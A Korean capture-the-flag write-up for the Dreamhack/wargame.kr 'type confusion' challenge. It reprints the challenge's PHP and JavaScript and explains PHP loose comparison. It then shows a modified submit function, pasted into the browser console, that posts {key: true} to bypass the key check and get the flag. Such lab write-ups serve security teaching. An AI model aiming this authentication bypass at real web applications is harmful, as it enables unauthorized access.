(17) Dreamhack [wargame.kr] type confusion 문제 풀이
문제 설명
Simple Compare Challenge.
hint? you can see the title of this challenge.
:D
문제 풀이
들어가면 있는 소스코드 부터 확인해보겠습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
if (isset($_POST['json'])) {
usleep(500000);
require("./lib.php"); // include for FLAG.
$json = json_decode($_POST['json']);
$key = gen_key();
if ($json->key == $key) {
$ret = ["code" => true, "flag" => $FLAG];
} else {
$ret = ["code" => false];
}
die(json_encode($ret));
}
function gen_key(){
$key = uniqid("welcome to wargame.kr!_", true);
$key = sha1($key);
return $key;
}
?>
<html>
<head>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
<script src="./util.js"></script>
</head>
<body>
<form onsubmit="return submit_check(this);">
<input type="text" name="key" />
<input type="submit" value="check" />
</form>
<a href="./?view-source">view-source</a>
</body>
</html>
또한 아래 html에서 불러오는 util.js도 확인해보겠습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var lock = false;
function submit_check(f){
if (lock) {
alert("waiting..");
return false;
}
lock = true;
var key = f.key.value;
if (key == "") {
alert("please fill the input box.");
lock = false;
return false;
}
submit(key);
return false;
}
function submit(key){
$.ajax({
type : "POST",
async : false,
url : "./index.php",
data : {json:JSON.stringify({key: key})},
dataType : 'json'
}).done(function(result){
if (result['code'] == true) {
document.write("Congratulations! flag is " + result['flag']);
} else {
alert("nope...");
}
lock = false;
});
}
이 문제를 해결하려면 $json->key == $key 조건이 만족되어야 합니다. 그리고 문제 설명에서 문제 제목인 type confusion이 힌트라고 합니다.
코드를 보면 일단 form에 뭔가를 적으면 submit_check함수가 입력값이 비었는지, 그리고 중복요청을 막는 코드가 실행됩니다. 입력값이 있다면 submit함수가 실행되어 {key: 입력값}의 json을 post 요청으로 보냅니다. 입력값이 gen_key함수의 결과와 같다면 flag를 보여주네요.
Type Confusion
type confusion은 말 그대로 타입을 혼동한다는 뜻입니다.
입력값이 예상과 다른 결과값인 경우 또는 의도되지 않은 타입의 데이터가 형변환되는 경우 발생할 수 있습니다.
예를 들어, “123”이라는 문자열은 bool로 형변환을 하면 true가 됩니다.
만약 입력값 == "문자열"형태로 비교되는 경우 true를 입력값으로 넣을 수 있다면 참이 되어 조건문을 지나갈 수 있죠.
이걸 알고 다시 한번 코드를 봅시다. gen_key()의 결과는 어떤 문자열($key)일 것이고 $json->key == $key에서 $json->key가 true가 넘겨지게 할 수 있다면 flag를 얻을 수 있을 겁니다.
요청을 보내는건 프론트엔드의 js이기 때문에 스크립트나 요청값의 변조가 가능합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function submit(key){
$.ajax({
type : "POST",
async : false,
url : "./index.php",
data : {json:JSON.stringify({key: true})},
dataType : 'json'
}).done(function(result){
if (result['code'] == true) {
document.write("Congratulations! flag is " + result['flag']);
} else {
alert("nope...");
}
lock = false;
});
}
위와 같이 true를 key 값으로 post요청을 보내도록 submit함수를 수정했습니다.
이렇게 콘솔에 수정한 코드를 넣어 원래 코드를 덮어씌우고 아무값이나 form에 넣고 보내주면
이렇게 flag를 얻을 수 있습니다.